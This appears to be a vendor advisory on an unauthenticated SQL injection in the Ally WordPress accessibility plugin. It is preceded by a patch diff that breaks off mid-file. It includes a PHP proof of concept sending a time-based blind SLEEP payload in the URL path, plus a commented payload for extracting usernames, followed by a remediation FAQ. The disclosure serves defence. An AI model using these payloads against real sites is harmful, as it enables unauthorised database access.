- if ( $facade && $facade->utils()->is_connected() ) {
- $additional_info['X-Elementor-One-Auth'] = $facade->data()->get_access_token( GrantTypes::REFRESH_TOKEN );
+ if ( $is_ai_request ) {
+ $access_token = $this->get_one_connect_access_token();
+ if ( $access_token ) {
+ $additional_info['X-Elementor-One-Auth'] = $access_token;
}
+ } elseif ( $is_activate_request ) {
+ $inject_authorize_url = function ( $parsed_args, $url ) use ( &$inject_authorize_url ) {
+ if ( str_ends_with( $url, self::GET_CLIENT_ID_ENDPOINT ) ) {
+ $authorize_url = Utils::get_authorize_url();
+ if ( $authorize_url && is_array( $parsed_args['body'] ) ) {
+ $parsed_args['body']['one_authorize_url'] = $authorize_url;
+ }
+
+ // Remove filter after it has been applied
+ remove_filter( 'http_request_args', $inject_authorize_url, 10 );
+ }
+
+ return $parsed_args;
+ };
+
+ add_filter( 'http_request_args', $inject_authorize_url, 10, 2 );
}
return $additional_info;
}
/**
+ * Get ONE connect access token
+ * @return string|null
+ */
+ private function get_one_connect_access_token(): ?string {
+ $facade = Utils::get_connect( SupportedPlugins::ELEMENTOR );
+
+ if ( ! $facade || ! $facade->utils()->is_connected() ) {
+ return null;
+ }
+
+ $access_token = $facade->data()->get_access_token( GrantTypes::REFRESH_TOKEN );
+
+ if ( ! Utils::is_jwt_expired( $access_token ) ) {
+ return $access_token;
+ }
+
+ try {
+ [ 'access_token' => $renewed_token ] = $facade->service()->renew_access_token( GrantTypes::REFRESH_TOKEN );
+ return $renewed_token;
+ } catch ( Throwable $th ) {
+ $this->logger->error( $th->getMessage() );
+ return null;
+ }
+ }
+
+ /**
* Get owner client ID
* @return string|null
*/
public function get_site_owner_client_id(): ?string {
+ $connect_data = $this->get_site_owner_connect_data();
+ return $connect_data['client_id'] ?? null;
+ }
+
+ /**
+ * Get site owner connect data
+ * @return array|null
+ */
+ public function get_site_owner_connect_data(): ?array {
$owner_id = Utils::get_one_connect()->data()->get_owner_user_id();
if ( ! $owner_id ) {
return null;
}
- $user_data = get_user_option( self::COMMON_DATA_USER_OPTION_NAME, $owner_id );
- return $user_data['client_id'] ?? null;
+ $connect_data = get_user_option( self::COMMON_DATA_USER_OPTION_NAME, $owner_id );
+ return is_array( $connect_data ) ? $connect_data : null;
+ }
+
+ /**
+ * Sync Elementor tracker opt-in with ONE connect preference
+ * @param Facade $facade
+ * @return void
+ */
+ public function set_tracker_opt_in( Facade $facade ): void {
+ if ( is_callable( 'ElementorTracker::set_opt_in' ) ) {
+ $allow_tracking = 'yes' === $facade->data()->get_share_usage_data();
+ ElementorTracker::set_opt_in( $allow_tracking );
+ }
}
}
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Services/Migration.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Services/Migration.php
@@ -226,7 +226,10 @@
switch ( $plugin_slug ) {
case SupportedPlugins::ELEMENTOR:
- self::update_editor_data( Editor::CONNECT_APP_LIBRARY );
+ $is_connected = (bool) Editor::instance()->get_site_owner_connect_data();
+ if ( ! $is_connected ) {
+ self::update_editor_data( Editor::CONNECT_APP_LIBRARY );
+ }
break;
case SupportedPlugins::ELEMENTOR_PRO:
$is_connected = (bool) Editor::get_active_license_key();
@@ -235,12 +238,16 @@
}
self::update_editor_data( Editor::CONNECT_APP_ACTIVATE, true );
break;
+ case SupportedPlugins::MANAGE:
+ // Do nothing with the existing manage instance
+ break;
default:
$facade = Facade::get( $plugin_slug );
if ( ! $facade ) {
throw new MigrationException( 'Plugin version not supported.', WP_Http::CONFLICT );
}
- $is_connected = $facade->utils()->is_connected();
+ $is_using_original_instance = $facade->get_config( 'plugin_slug' ) === $plugin_slug;
+ $is_connected = $facade->utils()->is_connected() && $is_using_original_instance;
if ( $is_connected ) {
if ( ! $force ) {
throw new MigrationException( 'Plugin is already connected.', WP_Http::UNPROCESSABLE_ENTITY );
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Common/SupportedPlugins.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Common/SupportedPlugins.php
@@ -11,6 +11,7 @@
*/
class SupportedPlugins extends BasicEnum {
const ANGIE = 'angie';
+ const MANAGE = 'manage';
const ELEMENTOR = 'elementor';
const ELEMENTOR_PRO = 'elementor-pro';
const SITE_MAILER = 'site-mailer';
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Connect/Classes/Data.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Connect/Classes/Data.php
@@ -23,6 +23,7 @@
const TOKEN_ID = '_token_id';
const OPTION_OWNER_USER_ID = '_owner_user_id';
const HOME_URL = '_home_url';
+ const SHARE_USAGE_DATA = '_share_usage_data';
/**
* Facade instance
@@ -273,6 +274,7 @@
$this->delete_option( self::TOKEN_ID );
$this->delete_option( self::OPTION_OWNER_USER_ID );
$this->delete_option( self::HOME_URL );
+ $this->delete_option( self::SHARE_USAGE_DATA );
} else {
$user_id = get_current_user_id();
if ( $with_client ) {
@@ -285,6 +287,24 @@
$this->delete_user_data( $user_id, self::TOKEN_ID );
$this->delete_user_data( $user_id, self::OPTION_OWNER_USER_ID );
$this->delete_user_data( $user_id, self::HOME_URL );
+ $this->delete_user_data( $user_id, self::SHARE_USAGE_DATA );
}
}
+
+ /**
+ * Get share usage data
+ * @return false|mixed|string|null
+ */
+ public function get_share_usage_data() {
+ return $this->get_connect_mode_data( self::SHARE_USAGE_DATA, false );
+ }
+
+ /**
+ * Set share usage data
+ * @param string $share_usage_data
+ * @return bool
+ */
+ public function set_share_usage_data( string $share_usage_data ): bool {
+ return $this->set_connect_mode_data( self::SHARE_USAGE_DATA, $share_usage_data );
+ }
}
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Connect/Classes/Utils.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Connect/Classes/Utils.php
@@ -165,4 +165,27 @@
$data = $this->facade->data();
return (bool) $data->get_access_token() && $this->is_valid_home_url();
}
+
+ /**
+ * Decode JWT and return payload without signature verification
+ * @param string $jwt
+ * @return array|null
+ */
+ public static function decode_jwt( string $jwt ): ?array {
+ $parts = explode( '.', $jwt );
+
+ if ( count( $parts ) !== 3 ) {
+ return null;
+ }
+
+ $payload = base64_decode( strtr( $parts[1], '-_', '+/' ) );
+
+ if ( ! $payload ) {
+ return null;
+ }
+
+ $decoded = json_decode( $payload, true );
+
+ return is_array( $decoded ) ? $decoded : null;
+ }
}
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Connect/Components/Handler.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Connect/Components/Handler.php
@@ -3,6 +3,7 @@
namespace ElementorOneConnectComponents;
use ElementorOneConnectClassesGrantTypes;
+use ElementorOneConnectClassesUtils;
use ElementorOneConnectFacade;
if ( ! defined( 'ABSPATH' ) ) {
@@ -14,6 +15,8 @@
*/
class Handler {
+ const SCOPE_SHARE_USAGE_DATA = 'share_usage_data';
+
/**
* Facade instance
* @var Facade
@@ -90,7 +93,8 @@
try {
// Exchange the code for an access token and store it
- $this->facade->service()->get_token( GrantTypes::AUTHORIZATION_CODE, $code );
+ [ 'access_token' => $access_token ] = $this->facade->service()->get_token( GrantTypes::AUTHORIZATION_CODE, $code );
+ $this->facade->data()->set_share_usage_data( $this->is_share_usage_scope_granted( $access_token ) ? 'yes' : 'no' );
$this->facade->data()->set_owner_user_id( get_current_user_id() );
$this->facade->data()->set_home_url();
} catch ( Throwable $th ) {
@@ -107,4 +111,17 @@
exit;
}
+
+ /**
+ * Check if share usage scope is granted
+ * @param string $access_token
+ * @return bool
+ */
+ private function is_share_usage_scope_granted( string $access_token ): bool {
+ $jwt_payload = Utils::decode_jwt( $access_token );
+ if ( $jwt_payload ) {
+ return in_array( self::SCOPE_SHARE_USAGE_DATA, $jwt_payload['scp'] ?? [], true );
+ }
+ return false;
+ }
}
--- a/pojo-accessibility/vendor/firebase/php-jwt/src/BeforeValidException.php
+++ b/pojo-accessibility/vendor/firebase/php-jwt/src/BeforeValidException.php
@@ -1,18 +0,0 @@
-<?php
-
-namespace FirebaseJWT;
-
-class BeforeValidException extends UnexpectedValueException implements JWTExceptionWithPayloadInterface
-{
- private object $payload;
-
- public function setPayload(object $payload): void
- {
- $this->payload = $payload;
- }
-
- public function getPayload(): object
- {
- return $this->payload;
- }
-}
--- a/pojo-accessibility/vendor/firebase/php-jwt/src/CachedKeySet.php
+++ b/pojo-accessibility/vendor/firebase/php-jwt/src/CachedKeySet.php
@@ -1,268 +0,0 @@
-<?php
-
-namespace FirebaseJWT;
-
-use ArrayAccess;
-use InvalidArgumentException;
-use LogicException;
-use OutOfBoundsException;
-use PsrCacheCacheItemInterface;
-use PsrCacheCacheItemPoolInterface;
-use PsrHttpClientClientInterface;
-use PsrHttpMessageRequestFactoryInterface;
-use RuntimeException;
-use UnexpectedValueException;
-
-/**
- * @implements ArrayAccess<string, Key>
- */
-class CachedKeySet implements ArrayAccess
-{
- /**
- * @var string
- */
- private $jwksUri;
- /**
- * @var ClientInterface
- */
- private $httpClient;
- /**
- * @var RequestFactoryInterface
- */
- private $httpFactory;
- /**
- * @var CacheItemPoolInterface
- */
- private $cache;
- /**
- * @var ?int
- */
- private $expiresAfter;
- /**
- * @var ?CacheItemInterface
- */
- private $cacheItem;
- /**
- * @var array<string, array<mixed>>
- */
- private $keySet;
- /**
- * @var string
- */
- private $cacheKey;
- /**
- * @var string
- */
- private $cacheKeyPrefix = 'jwks';
- /**
- * @var int
- */
- private $maxKeyLength = 64;
- /**
- * @var bool
- */
- private $rateLimit;
- /**
- * @var string
- */
- private $rateLimitCacheKey;
- /**
- * @var int
- */
- private $maxCallsPerMinute = 10;
- /**
- * @var string|null
- */
- private $defaultAlg;
-
- public function __construct(
- string $jwksUri,
- ClientInterface $httpClient,
- RequestFactoryInterface $httpFactory,
- CacheItemPoolInterface $cache,
- int $expiresAfter = null,
- bool $rateLimit = false,
- string $defaultAlg = null
- ) {
- $this->jwksUri = $jwksUri;
- $this->httpClient = $httpClient;
- $this->httpFactory = $httpFactory;
- $this->cache = $cache;
- $this->expiresAfter = $expiresAfter;
- $this->rateLimit = $rateLimit;
- $this->defaultAlg = $defaultAlg;
- $this->setCacheKeys();
- }
-
- /**
- * @param string $keyId
- * @return Key
- */
- public function offsetGet($keyId): Key
- {
- if (!$this->keyIdExists($keyId)) {
- throw new OutOfBoundsException('Key ID not found');
- }
- return JWK::parseKey($this->keySet[$keyId], $this->defaultAlg);
- }
-
- /**
- * @param string $keyId
- * @return bool
- */
- public function offsetExists($keyId): bool
- {
- return $this->keyIdExists($keyId);
- }
-
- /**
- * @param string $offset
- * @param Key $value
- */
- public function offsetSet($offset, $value): void
- {
- throw new LogicException('Method not implemented');
- }
-
- /**
- * @param string $offset
- */
- public function offsetUnset($offset): void
- {
- throw new LogicException('Method not implemented');
- }
-
- /**
- * @return array<mixed>
- */
- private function formatJwksForCache(string $jwks): array
- {
- $jwks = json_decode($jwks, true);
-
- if (!isset($jwks['keys'])) {
- throw new UnexpectedValueException('"keys" member must exist in the JWK Set');
- }
-
- if (empty($jwks['keys'])) {
- throw new InvalidArgumentException('JWK Set did not contain any keys');
- }
-
- $keys = [];
- foreach ($jwks['keys'] as $k => $v) {
- $kid = isset($v['kid']) ? $v['kid'] : $k;
- $keys[(string) $kid] = $v;
- }
-
- return $keys;
- }
-
- private function keyIdExists(string $keyId): bool
- {
- if (null === $this->keySet) {
- $item = $this->getCacheItem();
- // Try to load keys from cache
- if ($item->isHit()) {
- // item found! retrieve it
- $this->keySet = $item->get();
- // If the cached item is a string, the JWKS response was cached (previous behavior).
- // Parse this into expected format array<kid, jwk> instead.
- if (is_string($this->keySet)) {
- $this->keySet = $this->formatJwksForCache($this->keySet);
- }
- }
- }
-
- if (!isset($this->keySet[$keyId])) {
- if ($this->rateLimitExceeded()) {
- return false;
- }
- $request = $this->httpFactory->createRequest('GET', $this->jwksUri);
- $jwksResponse = $this->httpClient->sendRequest($request);
- if ($jwksResponse->getStatusCode() !== 200) {
- throw new UnexpectedValueException(
- sprintf('HTTP Error: %d %s for URI "%s"',
- $jwksResponse->getStatusCode(),
- $jwksResponse->getReasonPhrase(),
- $this->jwksUri,
- ),
- $jwksResponse->getStatusCode()
- );
- }
- $this->keySet = $this->formatJwksForCache((string) $jwksResponse->getBody());
-
- if (!isset($this->keySet[$keyId])) {
- return false;
- }
-
- $item = $this->getCacheItem();
- $item->set($this->keySet);
- if ($this->expiresAfter) {
- $item->expiresAfter($this->expiresAfter);
- }
- $this->cache->save($item);
- }
-
- return true;
- }
-
- private function rateLimitExceeded(): bool
- {
- if (!$this->rateLimit) {
- return false;
- }
-
- $cacheItem = $this->cache->getItem($this->rateLimitCacheKey);
- if (!$cacheItem->isHit()) {
- $cacheItem->expiresAfter(1); // # of calls are cached each minute
- }
-
- $callsPerMinute = (int) $cacheItem->get();
- if (++$callsPerMinute > $this->maxCallsPerMinute) {
- return true;
- }
- $cacheItem->set($callsPerMinute);
- $this->cache->save($cacheItem);
- return false;
- }
-
- private function getCacheItem(): CacheItemInterface
- {
- if (is_null($this->cacheItem)) {
- $this->cacheItem = $this->cache->getItem($this->cacheKey);
- }
-
- return $this->cacheItem;
- }
-
- private function setCacheKeys(): void
- {
- if (empty($this->jwksUri)) {
- throw new RuntimeException('JWKS URI is empty');
- }
-
- // ensure we do not have illegal characters
- $key = preg_replace('|[^a-zA-Z0-9_.!]|', '', $this->jwksUri);
-
- // add prefix
- $key = $this->cacheKeyPrefix . $key;
-
- // Hash keys if they exceed $maxKeyLength of 64
- if (strlen($key) > $this->maxKeyLength) {
- $key = substr(hash('sha256', $key), 0, $this->maxKeyLength);
- }
-
- $this->cacheKey = $key;
-
- if ($this->rateLimit) {
- // add prefix
- $rateLimitKey = $this->cacheKeyPrefix . 'ratelimit' . $key;
-
- // Hash keys if they exceed $maxKeyLength of 64
- if (strlen($rateLimitKey) > $this->maxKeyLength) {
- $rateLimitKey = substr(hash('sha256', $rateLimitKey), 0, $this->maxKeyLength);
- }
-
- $this->rateLimitCacheKey = $rateLimitKey;
- }
- }
-}
--- a/pojo-accessibility/vendor/firebase/php-jwt/src/ExpiredException.php
+++ b/pojo-accessibility/vendor/firebase/php-jwt/src/ExpiredException.php
@@ -1,18 +0,0 @@
-<?php
-
-namespace FirebaseJWT;
-
-class ExpiredException extends UnexpectedValueException implements JWTExceptionWithPayloadInterface
-{
- private object $payload;
-
- public function setPayload(object $payload): void
- {
- $this->payload = $payload;
- }
-
- public function getPayload(): object
- {
- return $this->payload;
- }
-}
--- a/pojo-accessibility/vendor/firebase/php-jwt/src/JWK.php
+++ b/pojo-accessibility/vendor/firebase/php-jwt/src/JWK.php
@@ -1,349 +0,0 @@
-<?php
-
-namespace FirebaseJWT;
-
-use DomainException;
-use InvalidArgumentException;
-use UnexpectedValueException;
-
-/**
- * JSON Web Key implementation, based on this spec:
- * https://tools.ietf.org/html/draft-ietf-jose-json-web-key-41
- *
- * PHP version 5
- *
- * @category Authentication
- * @package Authentication_JWT
- * @author Bui Sy Nguyen <nguyenbs@gmail.com>
- * @license http://opensource.org/licenses/BSD-3-Clause 3-clause BSD
- * @link https://github.com/firebase/php-jwt
- */
-class JWK
-{
- private const OID = '1.2.840.10045.2.1';
- private const ASN1_OBJECT_IDENTIFIER = 0x06;
- private const ASN1_SEQUENCE = 0x10; // also defined in JWT
- private const ASN1_BIT_STRING = 0x03;
- private const EC_CURVES = [
- 'P-256' => '1.2.840.10045.3.1.7', // Len: 64
- 'secp256k1' => '1.3.132.0.10', // Len: 64
- 'P-384' => '1.3.132.0.34', // Len: 96
- // 'P-521' => '1.3.132.0.35', // Len: 132 (not supported)
- ];
-
- // For keys with "kty" equal to "OKP" (Octet Key Pair), the "crv" parameter must contain the key subtype.
- // This library supports the following subtypes:
- private const OKP_SUBTYPES = [
- 'Ed25519' => true, // RFC 8037
- ];
-
- /**
- * Parse a set of JWK keys
- *
- * @param array<mixed> $jwks The JSON Web Key Set as an associative array
- * @param string $defaultAlg The algorithm for the Key object if "alg" is not set in the
- * JSON Web Key Set
- *
- * @return array<string, Key> An associative array of key IDs (kid) to Key objects
- *
- * @throws InvalidArgumentException Provided JWK Set is empty
- * @throws UnexpectedValueException Provided JWK Set was invalid
- * @throws DomainException OpenSSL failure
- *
- * @uses parseKey
- */
- public static function parseKeySet(array $jwks, string $defaultAlg = null): array
- {
- $keys = [];
-
- if (!isset($jwks['keys'])) {
- throw new UnexpectedValueException('"keys" member must exist in the JWK Set');
- }
-
- if (empty($jwks['keys'])) {
- throw new InvalidArgumentException('JWK Set did not contain any keys');
- }
-
- foreach ($jwks['keys'] as $k => $v) {
- $kid = isset($v['kid']) ? $v['kid'] : $k;
- if ($key = self::parseKey($v, $defaultAlg)) {
- $keys[(string) $kid] = $key;
- }
- }
-
- if (0 === count($keys)) {
- throw new UnexpectedValueException('No supported algorithms found in JWK Set');
- }
-
- return $keys;
- }
-
- /**
- * Parse a JWK key
- *
- * @param array<mixed> $jwk An individual JWK
- * @param string $defaultAlg The algorithm for the Key object if "alg" is not set in the
- * JSON Web Key Set
- *
- * @return Key The key object for the JWK
- *
- * @throws InvalidArgumentException Provided JWK is empty
- * @throws UnexpectedValueException Provided JWK was invalid
- * @throws DomainException OpenSSL failure
- *
- * @uses createPemFromModulusAndExponent
- */
- public static function parseKey(array $jwk, string $defaultAlg = null): ?Key
- {
- if (empty($jwk)) {
- throw new InvalidArgumentException('JWK must not be empty');
- }
-
- if (!isset($jwk['kty'])) {
- throw new UnexpectedValueException('JWK must contain a "kty" parameter');
- }
-
- if (!isset($jwk['alg'])) {
- if (is_null($defaultAlg)) {
- // The "alg" parameter is optional in a KTY, but an algorithm is required
- // for parsing in this library. Use the $defaultAlg parameter when parsing the
- // key set in order to prevent this error.
- // @see https://datatracker.ietf.org/doc/html/rfc7517#section-4.4
- throw new UnexpectedValueException('JWK must contain an "alg" parameter');
- }
- $jwk['alg'] = $defaultAlg;
- }
-
- switch ($jwk['kty']) {
- case 'RSA':
- if (!empty($jwk['d'])) {
- throw new UnexpectedValueException('RSA private keys are not supported');
- }
- if (!isset($jwk['n']) || !isset($jwk['e'])) {
- throw new UnexpectedValueException('RSA keys must contain values for both "n" and "e"');
- }
-
- $pem = self::createPemFromModulusAndExponent($jwk['n'], $jwk['e']);
- $publicKey = openssl_pkey_get_public($pem);
- if (false === $publicKey) {
- throw new DomainException(
- 'OpenSSL error: ' . openssl_error_string()
- );
- }
- return new Key($publicKey, $jwk['alg']);
- case 'EC':
- if (isset($jwk['d'])) {
- // The key is actually a private key
- throw new UnexpectedValueException('Key data must be for a public key');
- }
-
- if (empty($jwk['crv'])) {
- throw new UnexpectedValueException('crv not set');
- }
-
- if (!isset(self::EC_CURVES[$jwk['crv']])) {
- throw new DomainException('Unrecognised or unsupported EC curve');
- }
-
- if (empty($jwk['x']) || empty($jwk['y'])) {
- throw new UnexpectedValueException('x and y not set');
- }
-
- $publicKey = self::createPemFromCrvAndXYCoordinates($jwk['crv'], $jwk['x'], $jwk['y']);
- return new Key($publicKey, $jwk['alg']);
- case 'OKP':
- if (isset($jwk['d'])) {
- // The key is actually a private key
- throw new UnexpectedValueException('Key data must be for a public key');
- }
-
- if (!isset($jwk['crv'])) {
- throw new UnexpectedValueException('crv not set');
- }
-
- if (empty(self::OKP_SUBTYPES[$jwk['crv']])) {
- throw new DomainException('Unrecognised or unsupported OKP key subtype');
- }
-
- if (empty($jwk['x'])) {
- throw new UnexpectedValueException('x not set');
- }
-
- // This library works internally with EdDSA keys (Ed25519) encoded in standard base64.
- $publicKey = JWT::convertBase64urlToBase64($jwk['x']);
- return new Key($publicKey, $jwk['alg']);
- default:
- break;
- }
-
- return null;
- }
-
- /**
- * Converts the EC JWK values to pem format.
- *
- * @param string $crv The EC curve (only P-256 & P-384 is supported)
- * @param string $x The EC x-coordinate
- * @param string $y The EC y-coordinate
- *
- * @return string
- */
- private static function createPemFromCrvAndXYCoordinates(string $crv, string $x, string $y): string
- {
- $pem =
- self::encodeDER(
- self::ASN1_SEQUENCE,
- self::encodeDER(
- self::ASN1_SEQUENCE,
- self::encodeDER(
- self::ASN1_OBJECT_IDENTIFIER,
- self::encodeOID(self::OID)
- )
- . self::encodeDER(
- self::ASN1_OBJECT_IDENTIFIER,
- self::encodeOID(self::EC_CURVES[$crv])
- )
- ) .
- self::encodeDER(
- self::ASN1_BIT_STRING,
- chr(0x00) . chr(0x04)
- . JWT::urlsafeB64Decode($x)
- . JWT::urlsafeB64Decode($y)
- )
- );
-
- return sprintf(
- "-----BEGIN PUBLIC KEY-----n%sn-----END PUBLIC KEY-----n",
- wordwrap(base64_encode($pem), 64, "n", true)
- );
- }
-
- /**
- * Create a public key represented in PEM format from RSA modulus and exponent information
- *
- * @param string $n The RSA modulus encoded in Base64
- * @param string $e The RSA exponent encoded in Base64
- *
- * @return string The RSA public key represented in PEM format
- *
- * @uses encodeLength
- */
- private static function createPemFromModulusAndExponent(
- string $n,
- string $e
- ): string {
- $mod = JWT::urlsafeB64Decode($n);
- $exp = JWT::urlsafeB64Decode($e);
-
- $modulus = pack('Ca*a*', 2, self::encodeLength(strlen($mod)), $mod);
- $publicExponent = pack('Ca*a*', 2, self::encodeLength(strlen($exp)), $exp);
-
- $rsaPublicKey = pack(
- 'Ca*a*a*',
- 48,
- self::encodeLength(strlen($modulus) + strlen($publicExponent)),
- $modulus,
- $publicExponent
- );
-
- // sequence(oid(1.2.840.113549.1.1.1), null)) = rsaEncryption.
- $rsaOID = pack('H*', '300d06092a864886f70d0101010500'); // hex version of MA0GCSqGSIb3DQEBAQUA
- $rsaPublicKey = chr(0) . $rsaPublicKey;
- $rsaPublicKey = chr(3) . self::encodeLength(strlen($rsaPublicKey)) . $rsaPublicKey;
-
- $rsaPublicKey = pack(
- 'Ca*a*',
- 48,
- self::encodeLength(strlen($rsaOID . $rsaPublicKey)),
- $rsaOID . $rsaPublicKey
- );
-
- return "-----BEGIN PUBLIC KEY-----rn" .
- chunk_split(base64_encode($rsaPublicKey), 64) .
- '-----END PUBLIC KEY-----';
- }
-
- /**
- * DER-encode the length
- *
- * DER supports lengths up to (2**8)**127, however, we'll only support lengths up to (2**8)**4. See
- * {@link http://itu.int/ITU-T/studygroups/com17/languages/X.690-0207.pdf#p=13 X.690 paragraph 8.1.3} for more information.
- *
- * @param int $length
- * @return string
- */
- private static function encodeLength(int $length): string
- {
- if ($length <= 0x7F) {
- return chr($length);
- }
-
- $temp = ltrim(pack('N', $length), chr(0));
-
- return pack('Ca*', 0x80 | strlen($temp), $temp);
- }
-
- /**
- * Encodes a value into a DER object.
- * Also defined in FirebaseJWTJWT
- *
- * @param int $type DER tag
- * @param string $value the value to encode
- * @return string the encoded object
- */
- private static function encodeDER(int $type, string $value): string
- {
- $tag_header = 0;
- if ($type === self::ASN1_SEQUENCE) {
- $tag_header |= 0x20;
- }
-
- // Type
- $der = chr($tag_header | $type);
-
- // Length
- $der .= chr(strlen($value));
-
- return $der . $value;
- }
-
- /**
- * Encodes a string into a DER-encoded OID.
- *
- * @param string $oid the OID string
- * @return string the binary DER-encoded OID
- */
- private static function encodeOID(string $oid): string
- {
- $octets = explode('.', $oid);
-
- // Get the first octet
- $first = (int) array_shift($octets);
- $second = (int) array_shift($octets);
- $oid = chr($first * 40 + $second);
-
- // Iterate over subsequent octets
- foreach ($octets as $octet) {
- if ($octet == 0) {
- $oid .= chr(0x00);
- continue;
- }
- $bin = '';
-
- while ($octet) {
- $bin .= chr(0x80 | ($octet & 0x7f));
- $octet >>= 7;
- }
- $bin[0] = $bin[0] & chr(0x7f);
-
- // Convert to big endian if necessary
- if (pack('V', 65534) == pack('L', 65534)) {
- $oid .= strrev($bin);
- } else {
- $oid .= $bin;
- }
- }
-
- return $oid;
- }
-}
--- a/pojo-accessibility/vendor/firebase/php-jwt/src/JWT.php
+++ b/pojo-accessibility/vendor/firebase/php-jwt/src/JWT.php
@@ -1,669 +0,0 @@
-<?php
-
-namespace FirebaseJWT;
-
-use ArrayAccess;
-use DateTime;
-use DomainException;
-use Exception;
-use InvalidArgumentException;
-use OpenSSLAsymmetricKey;
-use OpenSSLCertificate;
-use stdClass;
-use UnexpectedValueException;
-
-/**
- * JS
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2413 - Ally – Web Accessibility & Usability <= 4.0.3 - Unauthenticated SQL Injection via URL Path
<?php
$target_url = "http://vulnerable-wordpress-site.com";
// The exploit targets the remediation module which must be active and connected to Elementor
// We send a request with a malicious URL containing SQL injection payload
// Using time-based blind SQL injection technique to extract information
$payload_url = "' OR (SELECT 1 FROM (SELECT SLEEP(5))a)-- ";
$full_url = $target_url . '/' . urlencode($payload_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
// Start timing
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
curl_close($ch);
$response_time = $end_time - $start_time;
if ($response_time > 5) {
echo "[+] SQL Injection successful! Server delayed response by " . round($response_time, 2) . " secondsn";
echo "[+] Vulnerability confirmed in Ally plugin <= 4.0.3n";
} else {
echo "[-] No SQL injection detected. Response time: " . round($response_time, 2) . " secondsn";
echo "[-] Possible reasons: Plugin not active, remediation module disabled, or patched versionn";
}
// More advanced payload example for information extraction:
// ' OR IF(SUBSTRING((SELECT user_login FROM wp_users LIMIT 1),1,1)='a',SLEEP(5),0)--
// This would test if the first character of the first username is 'a'
?>
Frequently Asked Questions
What is CVE-2026-2413?
Overview of the vulnerabilityCVE-2026-2413 is a high-severity SQL injection vulnerability found in the Ally – Web Accessibility & Usability plugin for WordPress, affecting versions up to and including 4.0.3. It allows unauthenticated attackers to inject SQL queries via user-supplied URL parameters, potentially leading to the extraction of sensitive information from the database.
How does the SQL injection work?
Mechanism of the attackThe vulnerability exists in the `get_global_remediations()` method, where user input is directly concatenated into an SQL query without proper sanitization. This allows attackers to manipulate the SQL JOIN clause by injecting malicious SQL code through the URL path.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using the Ally plugin version 4.0.3 or earlier is at risk. Administrators can check their plugin version in the WordPress admin dashboard under the Plugins section.
What are the practical implications of the CVSS score?
Understanding the risk levelWith a CVSS score of 7.5, this vulnerability is classified as high severity, indicating a significant risk. Successful exploitation could lead to unauthorized access to sensitive data, making it critical for affected sites to address the issue promptly.
How can I fix CVE-2026-2413?
Steps to remediate the vulnerabilityTo mitigate this vulnerability, update the Ally plugin to version 4.1.0 or later, where the issue has been patched. Ensure that your WordPress installation and all plugins are kept up to date to protect against known vulnerabilities.
What if I cannot update the plugin immediately?
Temporary mitigation strategiesIf an immediate update is not possible, consider disabling the Remediation module if it is not essential for your site. Additionally, restrict access to the plugin or implement firewall rules to block unauthorized requests.
What is the proof of concept for this vulnerability?
Demonstrating the exploitThe proof of concept demonstrates how an attacker can exploit the vulnerability by sending a specially crafted URL that includes SQL injection payloads. This method uses time-based blind SQL injection techniques to extract information based on response times.
What are SQL metacharacters and why are they important?
Understanding SQL injection risksSQL metacharacters, such as single quotes and parentheses, are special characters used in SQL syntax. Their presence in user input without proper escaping can allow attackers to manipulate SQL queries, leading to unauthorized data access.
How can I monitor for exploitation attempts?
Detecting potential attacksImplement logging and monitoring for your WordPress site to detect unusual requests or patterns indicative of SQL injection attempts. Consider using security plugins that can help identify and block such malicious activities.
What is the role of the Elementor account in this vulnerability?
Connection requirement for exploitationThe Remediation module, which is vulnerable to this SQL injection, requires the plugin to be connected to an Elementor account to function. Therefore, sites not using Elementor may not be at risk from this specific attack vector.
What should I do if I suspect my site has been compromised?
Response to potential breachesIf you suspect exploitation of this vulnerability, conduct a thorough audit of your site, check for unauthorized changes, and restore from a clean backup if necessary. Consult with a security professional if needed.
Where can I find more information about CVE-2026-2413?
Resources for further researchDetailed information about CVE-2026-2413 can be found on the official CVE database and security advisories from WordPress security resources. Staying informed about vulnerabilities can help in maintaining site security.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






